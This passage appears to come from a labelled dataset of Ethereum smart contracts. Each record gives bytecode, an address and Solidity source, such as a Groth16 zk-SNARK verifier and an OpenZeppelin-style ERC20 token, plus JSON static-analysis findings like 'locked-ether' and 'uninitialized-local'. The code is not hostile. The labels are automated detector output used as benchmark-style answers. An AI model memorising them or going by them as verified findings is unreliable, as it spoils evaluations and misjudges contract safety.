101000a900460ff1681565b600080600090505b600554811015610d8957838015610d3c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6f5750828015610d6e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7b576001820191505b5b8080600101915050610d05565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b60016003805490500160045460328211158015610e695750818111155b8015610e76575060008114155b8015610e83575060008214155b1515610e8e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610efa9190612014565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107957600160008581526020019081526020016000206000600383815481101515610fd757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611058576001820191505b60045482141561106b576001925061107a565b5b8080600101915050610fa6565b5b5050919050565b600080600090505b600380549050811015611149576001600084815260200190815260200160002060006003838154811015156110ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561113b576001820191505b5b8080600101915050611089565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111b4612040565b600380548060200260200160405190810160405280929190818152602001828054801561123657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111ec575b505050505090505b90565b611249612054565b611251612054565b6000806005546040518059106112645750595b908082528060200260200182016040525b50925060009150600090505b600554811015611322578580156112b8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611314578083838151811015156112ff57fe5b90602001906020020181815250506001820191505b5b8080600101915050611281565b8787036040518059106113325750595b908082528060200260200182016040525b5093508790505b8681101561139657828181518110151561136057fe5b906020019060200201518489830381518110151561137a57fe5b90602001906020020181815250505b808060010191505061134a565b5b505050949350505050565b6113aa612040565b6113b2612040565b6000806003805490506040518059106113c85750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561152b5760016000868152602001908152602001600020600060038381548110151561141657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151d5760038181548110151561149f57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114da57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e5565b816040518059106115395750595b908082528060200260200182016040525b509350600090505b818110156115ca57828181518110151561156857fe5b90602001906020020151848281518110151561158057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611552565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600380549050816032821115801561162b5750818111155b8015611638575060008114155b8015611645575060008214155b151561165057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ef57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561174b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117b757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361186c85611bc0565b5b5b50505b505b5050565b6000611884848484611e6c565b905061188f81611696565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118de57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561193757600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199157600080fd5b600092505b600380549050831015611a7f578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a715783600384815481101515611a2257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7f565b5b8280600101935050611996565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c8657600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cb657600080fd5b611cbf86610f99565b15611e6057600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611ddd8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dd35780601f10611da857610100808354040283529160200191611dd3565b820191906000526020600020905b815481529060010190602001808311611db657829003601f168201915b5050505050611fc0565b15611e1457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e5f565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e9557600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f54929190612068565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b81548183558181151161200f5781836000526020600020918201910161200e91906120e8565b5b505050565b81548183558181151161203b5781836000526020600020918201910161203a91906120e8565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120a957805160ff19168380011785556120d7565b828001600101855582156120d7579182015b828111156120d65782518255916020019190600101906120bb565b5b5090506120e491906120e8565b5090565b61210a91905b808211156121065760008160009055506001016120ee565b5090565b905600a165627a7a72305820900df9d3f6de25ea6a989ad00f60198aa20bf569f1655a546188195ea44a742d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,443
0x47bae04e8c9cf35c26713daa1f3ea8c27fa18245
/** *Submitted for verification at Etherscan.io on 2021-08-08 */ // SPDX-License-Identifier: AGPL-3.0 // // Copyright 2017 Christian Reitwiessner // Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // 2019 OKIMS // ported to solidity 0.6 // fixed linter warnings // added requiere error messages // // // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; library Pairing { struct G1Point { uint X; uint Y; } // Encoding of field elements is: X[0] * z + X[1] struct G2Point { uint[2] X; uint[2] Y; } /// @return the generator of G1 function P1() internal pure returns (G1Point memory) { return G1Point(1, 2); } /// @return the generator of G2 function P2() internal pure returns (G2Point memory) { // Original code point return G2Point( [11559732032986387107991004021392285783925812861821192530917403151452391805634, 10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531, 8495653923123431417604973247489272438418190587263600148770280649306958101930] ); /* // Changed by Jordi point return G2Point( [10857046999023057135944570762232829481370756359578518086990519993285655852781, 11559732032986387107991004021392285783925812861821192530917403151452391805634], [8495653923123431417604973247489272438418190587263600148770280649306958101930, 4082367875863433681332203403145435568316851327593401208105741076214120093531] ); */ } /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero. function negate(G1Point memory p) internal pure returns (G1Point memory r) { // The prime q in the base field F_q for G1 uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583; if (p.X == 0 && p.Y == 0) return G1Point(0, 0); return G1Point(p.X, q - (p.Y % q)); } /// @return r the sum of two points of G1 function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) { uint[4] memory input; input[0] = p1.X; input[1] = p1.Y; input[2] = p2.X; input[3] = p2.Y; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-add-failed"); } /// @return r the product of a point on G1 and a scalar, i.e. /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p. function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) { uint[3] memory input; input[0] = p.X; input[1] = p.Y; input[2] = s; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require (success,"pairing-mul-failed"); } /// @return the result of computing the pairing check /// e(p1[0], p2[0]) * .... * e(p1[n], p2[n]) == 1 /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should /// return true. function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) { require(p1.length == p2.length,"pairing-lengths-failed"); uint elements = p1.length; uint inputSize = elements * 6; uint[] memory input = new uint[](inputSize); for (uint i = 0; i < elements; i++) { input[i * 6 + 0] = p1[i].X; input[i * 6 + 1] = p1[i].Y; input[i * 6 + 2] = p2[i].X[0]; input[i * 6 + 3] = p2[i].X[1]; input[i * 6 + 4] = p2[i].Y[0]; input[i * 6 + 5] = p2[i].Y[1]; } uint[1] memory out; bool success; // solium-disable-next-line security/no-inline-assembly assembly { success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20) // Use "invalid" to make gas estimation work switch success case 0 { invalid() } } require(success,"pairing-opcode-failed"); return out[0] != 0; } /// Convenience method for a pairing check for two pairs. function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](2); G2Point[] memory p2 = new G2Point[](2); p1[0] = a1; p1[1] = b1; p2[0] = a2; p2[1] = b2; return pairing(p1, p2); } /// Convenience method for a pairing check for three pairs. function pairingProd3( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](3); G2Point[] memory p2 = new G2Point[](3); p1[0] = a1; p1[1] = b1; p1[2] = c1; p2[0] = a2; p2[1] = b2; p2[2] = c2; return pairing(p1, p2); } /// Convenience method for a pairing check for four pairs. function pairingProd4( G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2, G1Point memory c1, G2Point memory c2, G1Point memory d1, G2Point memory d2 ) internal view returns (bool) { G1Point[] memory p1 = new G1Point[](4); G2Point[] memory p2 = new G2Point[](4); p1[0] = a1; p1[1] = b1; p1[2] = c1; p1[3] = d1; p2[0] = a2; p2[1] = b2; p2[2] = c2; p2[3] = d2; return pairing(p1, p2); } } contract VerifierWithdraw { using Pairing for *; struct VerifyingKey { Pairing.G1Point alfa1; Pairing.G2Point beta2; Pairing.G2Point gamma2; Pairing.G2Point delta2; Pairing.G1Point[] IC; } struct Proof { Pairing.G1Point A; Pairing.G2Point B; Pairing.G1Point C; } function verifyingKey() internal pure returns (VerifyingKey memory vk) { vk.alfa1 = Pairing.G1Point(20491192805390485299153009773594534940189261866228447918068658471970481763042,9383485363053290200918347156157836566562967994039712273449902621266178545958); vk.beta2 = Pairing.G2Point([4252822878758300859123897981450591353533073413197771768651442665752259397132,6375614351688725206403948262868962793625744043794305715222011528459656738731], [21847035105528745403288232691147584728191162732299865338377159692350059136679,10505242626370262277552901082094356697409835680220590971873171140371331206856]); vk.gamma2 = Pairing.G2Point([11559732032986387107991004021392285783925812861821192530917403151452391805634,10857046999023057135944570762232829481370756359578518086990519993285655852781], [4082367875863433681332203403145435568316851327593401208105741076214120093531,8495653923123431417604973247489272438418190587263600148770280649306958101930]); vk.delta2 = Pairing.G2Point([2751094526990534090668894238253836180016709486872203368764444200147936278656,3867486542528089148218819604531577576526974258710228714274713759852911283414], [20204874591037440504705650964783155054604500481118210328828746304955488319320,806563933012591355070533443501159108870756279425075113167025765074681099931]); vk.IC = new Pairing.G1Point[](2); vk.IC[0] = Pairing.G1Point(1236075739224222093527217122122373155890993807754795083486325331194264991809,16402217793693883494945175470197449161172120247390461678250316304895863629108); vk.IC[1] = Pairing.G1Point(639580067677185628264165442784544121418477718445878514190672006562590353682,13296455779249205142581100669360977915800042274550493883216477569522005734669); } function verify(uint[] memory input, Proof memory proof) internal view returns (uint) { uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617; VerifyingKey memory vk = verifyingKey(); require(input.length + 1 == vk.IC.length,"verifier-bad-input"); // Compute the linear combination vk_x Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0); for (uint i = 0; i < input.length; i++) { require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field"); vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i])); } vk_x = Pairing.addition(vk_x, vk.IC[0]); if (!Pairing.pairingProd4( Pairing.negate(proof.A), proof.B, vk.alfa1, vk.beta2, vk_x, vk.gamma2, proof.C, vk.delta2 )) return 1; return 0; } /// @return r bool true if proof is valid function verifyProof( uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[1] memory input ) public view returns (bool r) { Proof memory proof; proof.A = Pairing.G1Point(a[0], a[1]); proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]); proof.C = Pairing.G1Point(c[0], c[1]); uint[] memory inputValues = new uint[](input.length); for(uint i = 0; i < input.length; i++){ inputValues[i] = input[i]; } if (verify(inputValues, proof) == 0) { return true; } else { return false; } } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806343753b4d14610030575b600080fd5b61012c600480360361012081101561004757600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201829052506040805180820190915293969594608081019493509150600290835b828210156100c8576040805180820182529080840286019060029083908390808284376000920191909152505050815260019091019060200161008a565b5050604080518082018252939695948181019493509150600290839083908082843760009201919091525050604080516020818101909252929594938181019392509060019083908390808284376000920191909152509194506101409350505050565b604080519115158252519081900360200190f35b600061014a610d41565b6040805180820182528751815260208089015181830152908352815160808101835287515181840190815288518301516060808401919091529082528351808501855289840180515182525184015181850152828401528483019190915282518084018452875181528783015181840152848401528251600180825281850190945290929091828101908036833701905050905060005b600181101561021a578481600181106101f657fe5b602002015182828151811061020757fe5b60209081029190910101526001016101e1565b506102258183610243565b6102345760019250505061023b565b6000925050505b949350505050565b60007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000161026e610d73565b61027661041f565b90508060800151518551600101146102ca576040805162461bcd60e51b81526020600482015260126024820152711d995c9a599a595c8b5898590b5a5b9c1d5d60721b604482015290519081900360640190fd5b6102d2610dba565b6040518060400160405280600081526020016000815250905060005b86518110156103a8578387828151811061030457fe5b60200260200101511061035e576040805162461bcd60e51b815260206004820152601f60248201527f76657269666965722d6774652d736e61726b2d7363616c61722d6669656c6400604482015290519081900360640190fd5b61039e826103998560800151846001018151811061037857fe5b60200260200101518a858151811061038c57fe5b60200260200101516107a0565b610835565b91506001016102ee565b506103cb8183608001516000815181106103be57fe5b6020026020010151610835565b90506104016103dd86600001516108c6565b8660200151846000015185602001518587604001518b604001518960600151610952565b6104115760019350505050610419565b600093505050505b92915050565b610427610d73565b6040805180820182527f2d4d9aa7e302d9df41749d5507949d05dbea33fbb16c643b22f599a2be6df2e281527f14bedd503c37ceb061d8ec60209fe345ce89830a19230301f076caff004d19266020808301919091529083528151608080820184527f0967032fcbf776d1afc985f88877f182d38480a653f2decaa9794cbc3bf3060c8285019081527f0e187847ad4c798374d0d6732bf501847dd68bc0e071241e0213bc7fc13db7ab606080850191909152908352845180860186527f304cfbd1e08a704a99f5e847d93f8c3caafddec46b7a0d379da69a4d112346a781527f1739c1b1a457a8c7313123d24d2f9192f896b7c63eea05a9d57f06547ad0cec8818601528385015285840192909252835180820185527f198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c28186019081527f1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed828501528152845180860186527f090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b81527f12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa818601528185015285850152835190810184527f0615107768071278c899a2a58fbbd8ed4fef1a377e5e9e444dc0ba925a5af8808185019081527f088ceb78b663ca4b200472f1c7e800bf258915d04f3691b4804088855efe4cd6828401528152835180850185527f2cab8dc311c6ddf9491e712b0412fe6fc245beb562f2a7b4385cfb690c6eb75881527f01c87fbf033520a5d740859498d159b21f5267231250a70d24fd49ab75d6769b818501528184015281850152825160028082529181019093529082015b6106a8610dba565b8152602001906001900390816106a057505060808201908152604080518082019091527f02bb981558b197dbdee04bc2c3b72d351a1bd8df3a09454d4a0c08e65d3cb84181527f2443538740ba22821b711470515d3bcebfdf51153176eb1083fd4ac5af13253460208201529051805160009061072157fe5b602002602001018190525060405180604001604052807f0169fd4f357762e9fe71b21fecd70a4451493dc3aefe10b23e25b726b165e91281526020017f1d6586fb965c37950524caf74ab66ddbbc63090719fa20e78473525d4df4750d815250816080015160018151811061079257fe5b602002602001018190525090565b6107a8610dba565b6107b0610dd4565b835181526020808501519082015260408101839052600060608360808460076107d05a03fa90508080156107e3576107e5565bfe5b508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5b5d5b0b59985a5b195960721b604482015290519081900360640190fd5b505092915050565b61083d610dba565b610845610df2565b8351815260208085015181830152835160408301528301516060808301919091526000908360c08460066107d05a03fa90508080156107e357508061082d576040805162461bcd60e51b81526020600482015260126024820152711c185a5c9a5b99cb5859190b59985a5b195960721b604482015290519081900360640190fd5b6108ce610dba565b81517f30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd479015801561090157506020830151155b15610921575050604080518082019091526000808252602082015261094d565b6040518060400160405280846000015181526020018285602001518161094357fe5b0683038152509150505b919050565b60408051600480825260a0820190925260009160609190816020015b610976610dba565b81526020019060019003908161096e57505060408051600480825260a0820190925291925060609190602082015b6109ac610e10565b8152602001906001900390816109a45790505090508a826000815181106109cf57fe5b602002602001018190525088826001815181106109e857fe5b60200260200101819052508682600281518110610a0157fe5b60200260200101819052508482600381518110610a1a57fe5b60200260200101819052508981600081518110610a3357fe5b60200260200101819052508781600181518110610a4c57fe5b60200260200101819052508581600281518110610a6557fe5b60200260200101819052508381600381518110610a7e57fe5b6020026020010181905250610a938282610aa2565b9b9a5050505050505050505050565b60008151835114610af3576040805162461bcd60e51b81526020600482015260166024820152751c185a5c9a5b99cb5b195b99dd1a1ccb59985a5b195960521b604482015290519081900360640190fd5b82516006810260608167ffffffffffffffff81118015610b1257600080fd5b50604051908082528060200260200182016040528015610b3c578160200160208202803683370190505b50905060005b83811015610cc157868181518110610b5657fe5b602002602001015160000151828260060260000181518110610b7457fe5b602002602001018181525050868181518110610b8c57fe5b602002602001015160200151828260060260010181518110610baa57fe5b602002602001018181525050858181518110610bc257fe5b602090810291909101015151518251839060026006850201908110610be357fe5b602002602001018181525050858181518110610bfb57fe5b60209081029190910101515160016020020151828260060260030181518110610c2057fe5b602002602001018181525050858181518110610c3857fe5b602002602001015160200151600060028110610c5057fe5b6020020151828260060260040181518110610c6757fe5b602002602001018181525050858181518110610c7f57fe5b602002602001015160200151600160028110610c9757fe5b6020020151828260060260050181518110610cae57fe5b6020908102919091010152600101610b42565b50610cca610e30565b6000602082602086026020860160086107d05a03fa90508080156107e3575080610d33576040805162461bcd60e51b81526020600482015260156024820152741c185a5c9a5b99cb5bdc18dbd9194b59985a5b1959605a1b604482015290519081900360640190fd5b505115159695505050505050565b6040518060600160405280610d54610dba565b8152602001610d61610e10565b8152602001610d6e610dba565b905290565b6040518060a00160405280610d86610dba565b8152602001610d93610e10565b8152602001610da0610e10565b8152602001610dad610e10565b8152602001606081525090565b604051806040016040528060008152602001600081525090565b60405180606001604052806003906020820280368337509192915050565b60405180608001604052806004906020820280368337509192915050565b6040518060400160405280610e23610e4e565b8152602001610d6e610e4e565b60405180602001604052806001906020820280368337509192915050565b6040518060400160405280600290602082028036833750919291505056fea26469706673582212206931ff43b1de1b53be8415ac6f5ef1c187fde78f62ebd5717daa0b67908ff57a64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,444
0x754527dc4dedc3a283727e068f91acc8a0728004
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract WhitelistInterface { function checkWhitelist(address _whiteListAddress) public view returns(bool); } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, 